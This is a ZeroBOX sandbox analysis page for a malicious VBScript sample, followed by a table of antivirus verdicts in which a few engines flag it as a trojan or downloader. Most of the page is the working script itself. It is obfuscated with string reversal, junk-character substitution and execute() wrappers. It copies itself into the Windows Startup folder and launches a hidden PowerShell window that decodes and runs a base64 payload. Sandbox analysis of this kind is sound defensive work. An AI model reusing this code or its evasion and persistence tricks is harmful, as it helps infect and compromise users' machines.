Static | ZeroBOX
No static analysis available.
On Error Resume Next
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
ROqxKc = "pu
ROqxKc = Replace(ROqxKc,"
((","t")
ROqxKc = ADcQSP(ADcQSP(ADcQSP(ROqxKc)))
ZjcNSL = "KHWB"
BXZOPZQPCNWFYWSODCQJYRL
MQSFWMXMFGQXOBZGHYOSMVCTQQMXTHWQXVZGQJPNWJFHTXRPCGN
ZNUD = ""
if 0 then
Set ZNUDo = CreateObject ("Wscript.Shell")
ZNUD = WScript.ScriptFullName
UDteby = ZNUD
dim RnqdqKf
dim OWWPvSW
dim ywqZZAS
dim ywqZZAS34
ywqZZAS34 = "((}#+
dim HcRSL
HcRSL = ""
RnqdqKf = ")'sbv." + ZjcNSL + " \pu((}#+
tr((}#+
atS\sm((}#+
ar((}#+
gor((}#+
P\u((}#+
RnqdqKf = RnqdqKf + " tra((}#+
t((}#+
S\s((}#+
wo((}#+
dniW\t((}#+
fo((}#+
so((}#+
rci((}#+
M\g((}#+
n((}#+
im((}#+
aoR\a((}#+
ta((}#+
Dp((}#+
pA\((}#+
RnqdqKf = WDpCDZZ(WDpCDZZ( RnqdqKf , ywqZZAS34 , HcRSL ),RnqdqKf,RnqdqKf)
OWWPvSW = "#
OWWPvSW = OWWPvSW + "#
(y('"
OWWPvSW = OWWPvSW + ZNUD + "',"
OWWPvSW = OWWPvSW + "'C#
(ers\' #
dim tGWp
tGWp = RnqdqKf
tGWp = ADcQSP( _
OWWPvSW = WDpCDZZ( _
OWWPvSW + _
tGWp , _
(" , _
WDpCDZZ(HcRSL + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",HcRSL) )
ywqZZAS = WDpCDZZ("cmfxmCXZcdfxmCXZc.exfxmCXZce /c pfxmCXZcing 1fxmCXZc27.fxmCXZc0.0fxmCXZc.1 -nfxmCXZc fxmCXZc5 & cmfxmCXZcd.efxmCXZcxe /fxmCXZcc " & """" & "powefxmCXZcrshfxmCXZcell -comfxmCXZcmand " + OWWPvSW + """" ,"fxmCXZc","")
ZNUDo.run ywqZZAS, 0, true
end if
Function iUvgN(bfbMB,tcur)
dim cWio
cWio = "iUvgN = "
cWio = cWio + "InStr(bfbMB, tcur)"
execute(cWio)
End Function
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
Function WDpCDZZ(bfbMB,tcur,YUeNYLa)
dim cWio
cWio = "WDpCDZZ = "
cWio = cWio + "Replace"
cWio = cWio + "(bfbMB ,tcur, YUeNYLa)"
execute(cWio)
End Function
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
MpPqM:pYlpL:ghHhO = "
":qcZlA:KUiKT:
Function ADcQSP(bfbMB)
dim cWio
cWio = "ADcQSP = "
cWio = cWio + "StrReverse"
cWio = cWio + "(bfbMB)"
execute(cWio)
End Function
Function LdmyLmC(YkKSGc,PAQdbS,ktpAgW)
LdmyLmC = Replace(YkKSGc, PAQdbS, ktpAgW)
End Function
Function pAOnM(YkKSGc)
pAOnM = StrReverse(YkKSGc)
End Function
dim DyGSW
DyGSW = " "
dim PWTS
PWTS = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
dim XhqS
XhqS = pAOnM("
jBQ" & PWTS & DyGSW & PWTS & "
" & PWTS & DyGSW & PWTS & "
Q" & PWTS & DyGSW & PWTS & "
yBQ" & PWTS & DyGSW & PWTS & "
Q" & PWTS & DyGSW & PWTS & "
uBQ" & PWTS & DyGSW & PWTS & "
" & PWTS & DyGSW & PWTS & "
tBQ" & PWTS & DyGSW & PWTS & "
CBwW")
XhqS = LdmyLmC( XhqS, PWTS + DyGSW + PWTS , "Z")
Function tUmhmv(input)
tUmhmv = StrReverse(input)
End Function
Function UdGAYq(command)
Dim PvSS, NHqS
NHqS = "/!((&##ow
(*ll -co$!61
##$!61
##and " & command
NHqS = Replace(NHqS,"
(*","e")
NHqS = Replace(NHqS,"$!61
##","m")
NHqS = Replace(NHqS,"/!((&##","p")
Set PvSS = CreateObject("WScript.Shell")
PvSS.Run NHqS, 0, False
End Function
aqXUMK = tUmhmv("' = ogidoC$") & XhqS & "'"
aqXUMK = aqXUMK & ";$OWjux
*## = [@]4
(m.T$@
(xt.$@
*##ing]::Unico
(tString( "
aqXUMK = aqXUMK & "[@]4
(m.Conv$@
(rt]::From*(
(64String( $
*##igo.r$@
','A') ) )"
aqXUMK = aqXUMK & ";#
#(ow$@
(rs}@:@(}
;}@:@(}
(ll.}@:@(}
;}@:@(}
( -windo}@:@(}
;}@:@(}
wstyl$@
( hi}@:@(}
;}@:@(}
(n -$@
(ut}@:@(}
;}@:@(}
yp}@:@(}
;}@:@(}
ss -NoP}@:@(}
;}@:@(}
rofil$@
(om}@:@(}
;}@:@(}
nd $OW}@:@(}
;}@:@(}
juxD" & "HziQP"
dim HPDfqM
HPDfqM = "}@:@(}
aqXUMK = Replace(aqXUMK, HPDfqM + ";" + HPDfqM, "")
aqXUMK = Replace(aqXUMK, "
", "a")
aqXUMK = Replace(aqXUMK, "*(
", "b")
aqXUMK = Replace(aqXUMK, "
(", "c")
aqXUMK = Replace(aqXUMK, "
*##", "d")
aqXUMK = Replace(aqXUMK, "$@
(", "e")
aqXUMK = Replace(aqXUMK, "#
#(", "p")
aqXUMK = Replace(aqXUMK, "@]4
", "s")
aqXUMK = Replace(aqXUMK, "HziQP", "")
UdGAYq(aqXUMK)
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Clean
MicroWorld-eScan Clean
FireEye Clean
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec ISB.Downloader!gen285
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
ClamAV Clean
BitDefender Clean
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
Rising Clean
F-Secure Clean
Baidu Clean
VIPRE Clean
McAfee-GW-Edition Clean
CMC Clean
Sophos Clean
Jiangmin Clean
Avira Clean
MAX Clean
Antiy-AVL Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
ViRobot Clean
ZoneAlarm Clean
Microsoft Clean
Cynet Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Trojan.VBS.Agent
MaxSecure Clean
Fortinet Clean
Panda Clean
No IRMA results available.